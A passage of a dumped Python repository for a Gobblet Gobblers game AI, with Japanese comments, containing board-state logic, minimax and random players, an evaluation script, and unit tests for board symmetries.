binary_pieces_to_array(binary_pieces):\n \"\"\"binary型のpiecesをarray型にして返す\n\nReturns:\n int : [my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces]\n\"\"\"\n array_pieces = [binary_pieces & 0b111_111_111,\n binary_pieces & 0b111_111_111_000_000_000,\n binary_pieces & 0b111_111_111_000_000_000_000_000_000,\n binary_pieces & 0b111_111_111_000_000_000_000_000_000_000_000_000\n ]\n # for i, convert_xx_xx_pieces in enumerate(pieces):\n # binary_pieces = binary_pieces + (convert_binary_to_array << 9 * i)\n\n # def convert_binary_to_array(binary_pieces):\n # \"\"\"xx_xx_piecesを受け取り、0b000_000_000の形に変換する\n #\n # Returns:\n # array : xx_xx_pieces[0] ... xx_xx_pieces[8]\n # 具体例: [0, 0, 0, 0, 0, 0, 0, 0, 0] (空の時)\n # \"\"\"\n # concert_binary_pieces = 0\n # for i in range(9):\n # concert_binary_pieces += pieces[i] * (2 ** i)\n # return concert_binary_pieces\n #\n # binary_pieces = 0\n # pieces = []\n # for i, xx_xx_pieces in enumerate([self.enemy_large_pieces, self.my_large_pieces, self.enemy_small_pieces,\n # self.my_small_pieces]):\n # pieces.append(convert_binary_to_array(xx_xx_pieces))\n # for i, convert_xx_xx_pieces in enumerate(pieces):\n # binary_pieces = binary_pieces + (convert_binary_to_array << 9 * i)\n return array_pieces\n\n\nclass State:\n \"\"\"盤面の状態\n\n Attributes:\n __init__(self, my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces) : 初期化\n piece_count(self, pieces): 石の数の取得\n is_lose(self): 負けたかどうか\n is_draw(self): 引き分けかどうか\n is_done(self): ゲーム終了かどうか\n next(self, action): 次の状態の取得\n legal_actions(self): 合法手のリストの取得\n is_first_player(self): 先手かどうか\n __str__(self): 文字列表示\n \"\"\"\n\n def __init__(self, my_small_pieces=None, enemy_small_pieces=None, my_large_pieces=None, enemy_large_pieces=None):\n \"\"\"初期化\n\n Args:\n my_small_pieces (list): 自分の小さい石の場所\n enemy_small_pieces (list): 敵の小さい石の場所\n my_large_pieces (list): 自分の大きい石の場所\n enemy_large_pieces (list): 敵の大きい石の場所\n my_visible_pieces (list): 自分の見える石の場所\n enemy_visible_pieces (list): 敵の見える石の場所\n \"\"\"\n # 石の配置\n self.my_small_pieces = my_small_pieces if my_small_pieces is not None else [0] * 9\n self.enemy_small_pieces = enemy_small_pieces if enemy_small_pieces is not None else [0] * 9\n self.my_large_pieces = my_large_pieces if my_large_pieces is not None else [0] * 9\n self.enemy_large_pieces = enemy_large_pieces if enemy_large_pieces is not None else [0] * 9\n self.my_visible_pieces = [0] * 9\n for i in range(9):\n self.my_visible_pieces[i] = (self.enemy_large_pieces[i] != 1 and self.my_small_pieces[i]) or \\\n self.my_large_pieces[i]\n self.enemy_visible_pieces = [0] * 9\n for i in range(9):\n self.enemy_visible_pieces[i] = (self.my_large_pieces[i] != 1 and self.enemy_small_pieces[i]) or \\\n self.enemy_large_pieces[i]\n\n @staticmethod\n def piece_count(pieces):\n \"\"\"石の数の取得\n\n 自分の石でも敵の石でも数えられる.\n\n Args:\n pieces (list): 石の場所\n\n Returns:\n int : 石の数\n \"\"\"\n count = 0\n for i in pieces:\n if i == 1:\n count += 1\n return count\n\n def is_lose(self):\n \"\"\"敗北判定\n\n Returns:\n bool: 負けているならTrue, そうでないならFalse.\n \"\"\"\n\n def is_comp(x, y, dx, dy):\n \"\"\"3並びかどうか\n\n x, y で指定したマスからdx,dy方向に合計3マスを調べる.\n x, yには、辺のマス(4以外)を指定.\n 例:\n (x,y) = (0,3) のマス6から(dx,dy) = (1,-1)の方向、つまり、マス(6, 4, 2)を調べる.\n\n Args:\n x (int): 探索開始座標x\n y (int): 探索開始座標y\n dx (int): 探索方向dx\n dy (int): 探索方向dy\n\n Returns:\n bool: 3並びならTrue, そうでないならFalse.\n \"\"\"\n for k in range(3):\n # 範囲外または敵の石がないなら負けてない\n if y < 0 or 2 < y or x < 0 or 2 < x or self.enemy_visible_pieces[x + y * 3] == 0:\n return False\n # 次のマスの座標にする.\n x, y = x + dx, y + dy\n return True\n\n # 負けたかどうか\n # 斜めを確認\n if is_comp(0, 0, 1, 1) or is_comp(0, 2, 1, -1):\n # デバッグ:\n # print(\"斜めまけ\")\n return True\n # 縦,横を確認\n for i in range(3):\n if is_comp(0, i, 1, 0):\n # デバッグ:\n # print(\"横まけ\")\n return True\n for i in range(3):\n if is_comp(i, 0, 0, 1):\n # デバッグ:\n # print(\"縦まけ\")\n return True\n\n # 負けてないならFalse\n return False\n\n def is_draw(self):\n \"\"\"引分判定\n\n Returns:\n bool: 引き分けならTrue, そうでないならFalse.\n \"\"\"\n return self.piece_count(self.my_small_pieces) + self.piece_count(self.enemy_small_pieces) + self.piece_count(\n self.my_large_pieces) + self.piece_count(self.enemy_large_pieces) >= 3\n\n def is_done(self):\n \"\"\"ゲーム終了判定\n\n Returns:\n bool: ゲーム終了ならTrue, そうでないならFalse\n \"\"\"\n \"\"\"debug:\n if self.is_lose():\n print(\"lose done\")\n if self.is_draw():\n print(\"draw done\")\n \"\"\"\n return self.is_lose() or self.is_draw()\n\n def next(self, action, normalize=False):\n \"\"\"次の状態の取得\n\n 現在の状態stateに選択した行動actionを反映した、\n 新しいStateを作成する。\n 新しい局面では手番が入れ替わるため、\n my_xx_piecesとenemy_xx_piecesの返す順序を交換している。\n\n 次のstateを作成するために使う。\n 例: state = State(state.next( action ))\n\n Args:\n action (int): 次に置くマスを0~8, 9~17で指定.\n normalize (bool): 正規化した状態を返すかどうか.\n\n Returns:\n (enemy_small_pieces, my_small_pieces, enemy_large_pieces, my_large_pieces) (State): 行動を反映させたenemy_xx_pieces, my_xx_piecesを返す.\n \"\"\"\n my_small_pieces = self.my_small_pieces.copy() # リストだからcopyを使用.\n my_large_pieces = self.my_large_pieces.copy() # リストだからcopyを使用.\n if action < 9:\n my_small_pieces[action] = 1\n else:\n my_large_pieces[action - 9] = 1\n # enemy_piecesと更新したmy_piecesを入れ替えてStateを作成.\n state = State(self.enemy_small_pieces, my_small_pieces, self.enemy_large_pieces, my_large_pieces)\n if not normalize:\n return state\n elif normalize:\n return convert.normalize_state(state)\n\n def legal_actions(self):\n \"\"\"合法手のリストの取得\n\n Returns:\n actions: 合法手のリスト\n \"\"\"\n actions = []\n for i in range(9):\n if self.my_small_pieces[i] == 0 and self.enemy_small_pieces[i] == 0 and self.my_large_pieces[i] == 0 and \\\n self.enemy_large_pieces[i] == 0:\n actions.append(i)\n for i in range(9):\n if self.my_large_pieces[i] == 0 and self.enemy_large_pieces[i] == 0:\n actions.append(i + 9)\n return actions\n\n def is_first_player(self):\n \"\"\"先手かどうか\n\n Returns:\n bool: 先手ならTrue, 後手ならFalse.\n \"\"\"\n return self.piece_count(self.my_small_pieces) + self.piece_count(self.my_large_pieces) == self.piece_count(\n self.enemy_small_pieces) + self.piece_count(self.enemy_large_pieces)\n\n def get_pieces_for_tuple(self):\n \"\"\"piecesを返す\n\n Returns:\n tuple: (my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n \"\"\"\n my_small_pieces = tuple(self.my_small_pieces)\n enemy_small_pieces = tuple(self.enemy_small_pieces)\n my_large_pieces = tuple(self.my_large_pieces)\n enemy_large_pieces = tuple(self.enemy_large_pieces)\n pieces = (my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n return pieces\n\n def get_pieces_for_binary(self):\n \"\"\"piecesを返す\n\n Returns:\n int : my_small_pieces[0] ... enemy_large_pieces[8]までをbitで並べた値\n 具体例: 0b_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000 (空の時)\n \"\"\"\n def convert_binary(pieces):\n \"\"\"xx_xx_piecesを受け取り、0b000_000_000の形に変換する\n\n Returns:\n int : xx_xx_pieces[0] ... xx_xx_pieces[8]までをbitで並べた値\n 具体例: 0b_000_000_000 (空の時)\n \"\"\"\n concert_binary_pieces = 0\n for i in range(9):\n concert_binary_pieces += pieces[i] * (2 ** i)\n return concert_binary_pieces\n\n binary_pieces = 0\n pieces = []\n for i, xx_xx_pieces in enumerate([self.enemy_large_pieces, self.my_large_pieces, self.enemy_small_pieces,\n self.my_small_pieces]):\n pieces.append(convert_binary(xx_xx_pieces))\n for i, convert_xx_xx_pieces in enumerate(pieces):\n binary_pieces = binary_pieces + (convert_xx_xx_pieces << 9 * i)\n return binary_pieces\n\n def __str__(self):\n \"\"\"文字列表示\n\n このインスタンスをprint()やstr()で表示させるときのフォーマットを指定.\n 現在の局面を文字列でグラフィカルに表示する.\n\n Returns\n str: 盤の状態を文字列表示で定義.\n \"\"\"\n # is_first_player()で、今が自分の番か敵の番かを確認し、局面を正しく表示する.\n ox = ('o', 'x') if self.is_first_player() else ('x', 'o')\n string = ' small\\n '\n for i in range(9):\n if self.my_small_pieces[i] == 1:\n string += ox[0]\n elif self.enemy_small_pieces[i] == 1:\n string += ox[1]\n else:\n string += '-'\n if i % 3 == 2:\n string += '\\n '\n\n string += '\\r large\\n '\n for i in range(9):\n if self.my_large_pieces[i] == 1:\n string += ox[0]\n elif self.enemy_large_pieces[i] == 1:\n string += ox[1]\n else:\n string += '-'\n if i % 3 == 2:\n string += '\\n '\n\n string += '\\r ↓\\n\\n'\n string += 'visible\\n '\n for i in range(9):\n if self.my_visible_pieces[i] == 1:\n string += ox[0]\n elif self.enemy_visible_pieces[i] == 1:\n string += ox[1]\n else:\n string += '-'\n if i % 3 == 2:\n string += '\\n '\n return string\n", "id": "5789560", "language": "Python", "matching_score": 1.8963755369186401, "max_stars_count": 1, "path": "gobbletgobblers.py" }, { "content": "\"\"\"\n ゲームAIの評価を行う\n 先手、後手それぞれのアルゴリズムを入力する。その2つを対戦させ、結果を表示する.\n\"\"\"\nimport gobbletgobblers as game # クラスStateを定義.\nimport player_ai as ai # ゲームAI.ミニマックスによる行動.ランダムな行動.\nimport networkx as nx\n\n# パラメータ\nEP_GAME_COUNT = 1 # 1評価当たりのゲーム数\n\n\ndef first_player_point(ended_state):\n \"\"\"先手プレイヤーのポイント\n \"\"\"\n # 1:先手勝利, 0: 先手敗北, 0.5, 引分け\n if ended_state.is_lose():\n return 0 if ended_state.is_first_player() else 1\n return 0.5\n\n\ndef play(action_modes):\n \"\"\"1ゲームの実行\n \"\"\"\n # 3目並べの状態を保持するクラス\"State\"を初期化する。\n state = game.State()\n # グラフの初期化\n # G = nx.DiGraph()\n # コマの位置をbinaryでノードに加える\n # G.add_node(state.get_pieces_for_binary(), label=\"pieces_for_binary\")\n\n # ゲーム終了までループ。(Stateクラスのis_doneで確認)\n while not state.is_done():\n # 行動前の状態のbinary\n binary_state = state.get_pieces_for_binary()\n\n # 行動の取得\n action_mode = action_modes[0] if state.is_first_player() else action_modes[1]\n action = ai.action(state, action_mode)\n\n # 行動を状態に反映させた次の状態に更新する。\n state = state.next(action)\n\n print(state)\n print()\n # # ノードの追加\n # G.add_node(state.get_pieces_for_binary())\n # # 枝の追加\n # G.add_edge(binary_state, state.get_pieces_for_binary())\n\n # # ネットワークの出力\n # nx.readwrite.gml.write_gml(G, \"game.mgl\")\n\n # 先手プレイヤーのポイントを返す\n return first_player_point(state)\n\n\ndef evaluate_algorithm_of(label, action_modes):\n \"\"\"任意のアルゴリズムの評価\n \"\"\"\n # 複数回の対戦を繰り返す\n total_point = 0\n total_win = 0\n total_lose = 0\n total_draw = 0\n point = 0\n for i in range(EP_GAME_COUNT):\n # 1ゲームの実行\n # 交互に先手後手を入れ替えている。\n if i % 2 == 0:\n point = play(action_modes)\n else:\n point = 1 - play(list(reversed(action_modes)))\n # win,lose,drawをカウントする\n total_point += point\n if point == 1:\n total_win += 1\n elif point == 0.5:\n total_draw += 1\n elif point == 0:\n total_lose += 1\n # 出力\n print(\"\\rEvaluate {}/{} \".format(i + 1, EP_GAME_COUNT), end='')\n print('')\n\n # 平均ポイントの計算\n average_point = total_point / EP_GAME_COUNT\n print(label.format(average_point), end='')\n print(' (win {}, lose {}, draw {})'.format(total_win, total_lose, total_draw))\n\n\ndef main():\n print()\n print(\"ゲームAIの評価を行います。\", \"評価するアルゴリズムを選択して下さい\")\n print(\"1: ミニマックスVSミニマックス\")\n print(\"2: ミニマックスVSランダム\")\n print(\"3: ランダムVSランダム\")\n print(\"選択:\", end=\"\")\n mode = input()\n\n if mode not in {\"1\", \"2\", \"3\"}:\n print(\"modeが正常に選択されませんでした\")\n elif mode == \"1\":\n # ミニマックスVSミニマックス\n print()\n print(\"ミニマックスVSミニマックスの評価を行います。\")\n print()\n action_modes = (\"MiniMax\", \"MiniMax\")\n evaluate_algorithm_of('MiniMax_VS_MiniMax {:.3f}', action_modes)\n elif mode == \"2\":\n # ミニマックスVSランダム\n print()\n print(\"ミニマックスVSランダムの評価を行います。\")\n print()\n action_modes = (\"MiniMax\", \"Random\")\n evaluate_algorithm_of('MiniMax_VS_Random {:.3f}', action_modes)\n elif mode == \"3\":\n # ランダムVSランダム\n print()\n print(\"ランダムVSランダムの評価を行います。\")\n print()\n action_modes = (\"Random\", \"Random\")\n evaluate_algorithm_of('Random_VS_Random {:.3f}', action_modes)\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "1667648", "language": "Python", "matching_score": 5.7953104972839355, "max_stars_count": 1, "path": "evaluate_algorithm.py" }, { "content": "\"\"\"盤面の列挙\n 盤面を列挙し、gmlファイルに出力する。\n\"\"\"\n\nimport gobbletgobblers as game\nimport player_ai as ai # ゲームAI.ミニマックスによる行動.ランダムな行動.\n\nimport networkx as nx\n\n\ndef main():\n print()\n print(\"盤面の列挙を行います。\")\n print(\"出力するファイル名を打ち込んで下さい(.gml含む):\", end=\"\")\n filename = input()\n\n if not filename:\n print(\"filenameが正常に入力されませんでした\")\n\n # 3目並べの状態を保持するクラス\"State\"を初期化する。\n state = game.State()\n # グラフの初期化\n G = nx.DiGraph()\n # コマの位置をbinaryでノードに加える\n G.add_node(state.get_pieces_for_binary())\n # ゲーム終了までループ。(Stateクラスのis_doneで確認)\n while not state.is_done():\n # 行動前の状態のbinary\n # binary_state = state.get_pieces_for_binary()\n #\n # # 行動の取得\n # action_modes = (\"MiniMax\", \"Random\")\n # action_mode = action_modes[0] if state.is_first_player() else action_modes[1]\n # action = ai.action(state, action_mode)\n #\n # # 行動を状態に反映させた次の状態に更新する。\n # state = state.next(action)\n\n print(state)\n print()\n # ノードの追加\n G.add_node(state.get_pieces_for_binary())\n # 枝の追加\n G.add_edge(binary_state, state.get_pieces_for_binary())\n\n # ネットワークの出力\n nx.readwrite.gml.write_gml(G, \"output/\" + filename)\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "11556997", "language": "Python", "matching_score": 0.2715848386287689, "max_stars_count": 1, "path": "generate_node_all.py" }, { "content": "import state_convert as convert\n\n\ndef mini_max(state):\n \"\"\"ミニマックスで状態の価値を計算する.\n\n Returns:\n int: best_score : 先手が勝ちなら1, 引き分けなら-1, 負けなら0を返す\n\"\"\"\n # 負けは状態価値-1\n if state.is_lose():\n return -1\n\n # 引き分けは状態価値0\n if state.is_draw():\n return 0\n\n # 合法手の状態価値の計算\n best_score = -float('inf')\n for action in state.legal_actions():\n # NegaMax法\n state = convert.normalize_state(state.next(action))\n score = -mini_max(state)\n if score > best_score:\n best_score = score\n # 合法手の状態価値の最大値を返す\n return best_score\n", "id": "8414725", "language": "Python", "matching_score": 2.0168347358703613, "max_stars_count": 1, "path": "statevalue.py" }, { "content": "import gobbletgobblers as game\nimport statevalue as value\nimport random\n\n\ndef action(state, mode=\"Random\"):\n \"\"\"現在の状態から思考ルーチンに沿って行動を生成する.\n Arg:\n state (tic.State): 現在の局面.\n mode (str): 思考ルーチンの選択.\n 思考ルーチンは以下から選択:\n - \"Random\" (default)\n - \"MiniMax\" \n \"\"\"\n\n if mode == \"Random\":\n # 合法手を取得し、その中からランダムに行動を選択する.\n legal_actions = state.legal_actions()\n random_action = legal_actions[random.randint(0, len(legal_actions) - 1)]\n return random_action\n\n elif mode == \"MiniMax\":\n score = -float('inf') # 行動の価値.\n best_score = -float('inf') # 最も高い行動の価値.\n best_action = 0 # 最も価値の高い行動.\n string = ['', '']\n\n # 全ての合法手を取得し、最も価値が高い行動を選択する.\n for action in state.legal_actions():\n # 価値を取得\n score = -value.mini_max(state.next(action))\n # 価値が高いなら更新\n if score > best_score:\n best_action = action\n best_score = score\n\n string[0] = '{}{:2d},'.format(string[0], action)\n string[1] = '{}{:2d},'.format(string[1], score)\n mini_max_action = best_action\n print('action:', string[0], '\\nscore: ', string[1], '\\n')\n\n return mini_max_action\n\n else:\n print(\"error: mode not found.\\n\")\n", "id": "9394921", "language": "Python", "matching_score": 0.024375077337026596, "max_stars_count": 1, "path": "player_ai.py" }, { "content": "# coding=utf-8\nimport unittest\nimport gobbletgobblers as game\nimport state_convert as convert\n\n\nclass TestSymmetryPieces(unittest.TestCase):\n # 時計回りに90度回す\n # - 空\n # - コマあり1\n # - コマあり2\n def test_rotate90(self):\n patterns = [\n # 空\n # piece\n # ---\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # ---\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n\n # コマあり1\n # piece\n # o--\n # ---\n # ---\n # convert_piece\n # --o\n # ---\n # ---\n ([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0]),\n\n # コマあり2\n # piece\n # ---\n # ---\n # --o\n # convert_piece\n # ---\n # ---\n # o--\n ([0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0]),\n ]\n for input_param, expect_param in patterns:\n xx_xx_pieces = input_param\n expect = expect_param # 回転後のpieces\n actual = convert.rotate90(xx_xx_pieces)\n self.assertEqual(expect, actual)\n\n # 時計回りに180度回す\n # - 空\n # - コマあり1\n # - コマあり2\n def test_rotate180(self):\n patterns = [\n # 空\n # piece\n # ---\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # ---\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n\n # コマあり1\n # piece\n # -o-\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # -o-\n ([0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0]),\n\n # コマあり2\n # piece\n # --o\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # o--\n ([0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0]),\n ]\n for input_param, expect_param in patterns:\n xx_xx_pieces = input_param\n expect = expect_param # 回転後のpieces\n actual = convert.rotate180(xx_xx_pieces)\n self.assertEqual(expect, actual)\n\n # 時計回りに270度回す\n # - 空\n # - コマあり1\n # - コマあり2\n def test_rotate270(self):\n patterns = [\n # 空\n # piece\n # ---\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # ---\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n\n # コマあり1\n # piece\n # o--\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # o--\n ([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0]),\n\n # コマあり2\n # piece\n # ---\n # ---\n # --o\n # convert_piece\n # --o\n # ---\n # ---\n ([0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 1, 0, 0, 0, 0, 0, 0]),\n ]\n for input_param, expect_param in patterns:\n xx_xx_pieces = input_param\n expect = expect_param # 回転後のpieces\n actual = convert.rotate270(xx_xx_pieces)\n self.assertEqual(expect, actual)\n\n # 縦に線対称\n # - 空\n # - コマあり1\n # - コマあり2\n def test_vertical(self):\n patterns = [\n # 空\n # piece\n # ---\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # ---\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n\n # コマあり1\n # piece\n # o--\n # ---\n # o--\n # convert_piece\n # --o\n # ---\n # --o\n ([1, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 1]),\n\n # コマあり2\n # piece\n # ---\n # ---\n # --o\n # convert_piece\n # ---\n # ---\n # o--\n ([0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0]),\n ]\n for input_param, expect_param in patterns:\n xx_xx_pieces = input_param\n expect = expect_param # 回転後のpieces\n actual = convert.vertical(xx_xx_pieces)\n self.assertEqual(expect, actual)\n\n # 横に線対称\n # - 空\n # - コマあり1\n # - コマあり2\n def test_horizontal(self):\n patterns = [\n # 空\n # piece\n # ---\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # ---\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n\n # コマあり1\n # piece\n # o-o\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # o-o\n ([1, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 1]),\n\n # コマあり2\n # piece\n # ---\n # ooo\n # ---\n # convert_piece\n # ---\n # ooo\n # ---\n ([0, 0, 0, 1, 1, 1, 0, 0, 0], [0, 0, 0, 1, 1, 1, 0, 0, 0]),\n ]\n for input_param, expect_param in patterns:\n xx_xx_pieces = input_param\n expect = expect_param # 回転後のpieces\n actual = convert.horizontal(xx_xx_pieces)\n self.assertEqual(expect, actual)\n\n # 左上から斜めに線対称\n # - 空\n # - コマあり1\n # - コマあり2\n def test_upper_left(self):\n patterns = [\n # 空\n # piece\n # ---\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # ---\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n\n # コマあり1\n # piece\n # -oo\n # ---\n # ---\n # convert_piece\n # ---\n # o--\n # o--\n ([0, 1, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0]),\n\n # コマあり2\n # piece\n # o--\n # -o-\n # --o\n # convert_piece\n # o--\n # -o-\n # --o\n ([1, 0, 0, 0, 1, 0, 0, 0, 1], [1, 0, 0, 0, 1, 0, 0, 0, 1]),\n ]\n for input_param, expect_param in patterns:\n xx_xx_pieces = input_param\n expect = expect_param # 回転後のpieces\n actual = convert.upper_left(xx_xx_pieces)\n self.assertEqual(expect, actual)\n\n # 右上から斜めに線対称\n # - 空\n # - コマあり1\n # - コマあり2\n def test_upper_right(self):\n patterns = [\n # 空\n # piece\n # ---\n # ---\n # ---\n # convert_piece\n # ---\n # ---\n # ---\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n\n # コマあり1\n # piece\n # oo-\n # ---\n # ---\n # convert_piece\n # ---\n # --o\n # --o\n ([1, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 1]),\n\n # コマあり2\n # piece\n # --o\n # -o-\n # o--\n # convert_piece\n # --o\n # -o-\n # o--\n ([0, 0, 1, 0, 1, 0, 1, 0, 0], [0, 0, 1, 0, 1, 0, 1, 0, 0]),\n ]\n for input_param, expect_param in patterns:\n xx_xx_pieces = input_param\n expect = expect_param # 回転後のpieces\n actual = convert.upper_right(xx_xx_pieces)\n self.assertEqual(expect, actual)\n\n\nclass TestSymmetryPiecesState(unittest.TestCase):\n # 時計回りに90度回転したStateを作成\n # - 空\n # - コマあり1\n def test_rotate90_state(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n #\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0])),\n\n # コマあり1\n # small\n # o-x\n # ---\n # ---\n # large\n # ---\n # ---\n # x-o\n #\n # small\n # --o\n # ---\n # --x\n # large\n # x--\n # ---\n # o--\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1],\n [0, 0, 0, 0, 0, 0, 1, 0, 0]),\n ([0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0],\n [1, 0, 0, 0, 0, 0, 0, 0, 0])),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 変換後の盤面をもつstateのxx_xx_pieces\n state = convert.rotate90_state(state)\n actual = (state.my_small_pieces, state.enemy_small_pieces, state.my_large_pieces, state.enemy_large_pieces)\n self.assertEqual(expect, actual)\n\n # 時計回りに180度回転したStateを作成\n # - 空\n # - コマあり1\n def test_rotate180_state(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n #\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0])),\n\n # コマあり1\n # small\n # o-x\n # ---\n # ---\n # large\n # ---\n # --o\n # --x\n #\n # small\n # ---\n # ---\n # x-o\n # large\n # x--\n # o--\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 1]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0],\n [1, 0, 0, 0, 0, 0, 0, 0, 0])),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 変換後の盤面をもつstateのxx_xx_pieces\n state = convert.rotate180_state(state)\n actual = (state.my_small_pieces, state.enemy_small_pieces, state.my_large_pieces, state.enemy_large_pieces)\n self.assertEqual(expect, actual)\n\n # 時計回りに270度回転したStateを作成\n # - 空\n # - コマあり1\n def test_rotate270_state(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n #\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0])),\n\n # コマあり1\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # x--\n # -o-\n #\n # small\n # ---\n # x--\n # o--\n # large\n # ---\n # --o\n # -x-\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0],\n [0, 0, 0, 1, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 1, 0])),\n\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 変換後の盤面をもつstateのxx_xx_pieces\n state = convert.rotate270_state(state)\n actual = (state.my_small_pieces, state.enemy_small_pieces, state.my_large_pieces, state.enemy_large_pieces)\n self.assertEqual(expect, actual)\n\n # 縦に線対称のStateを作成\n # - 空\n # - コマあり1\n def test_vertical_state(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n #\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]),\n ([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0])),\n\n # コマあり1\n # small\n # 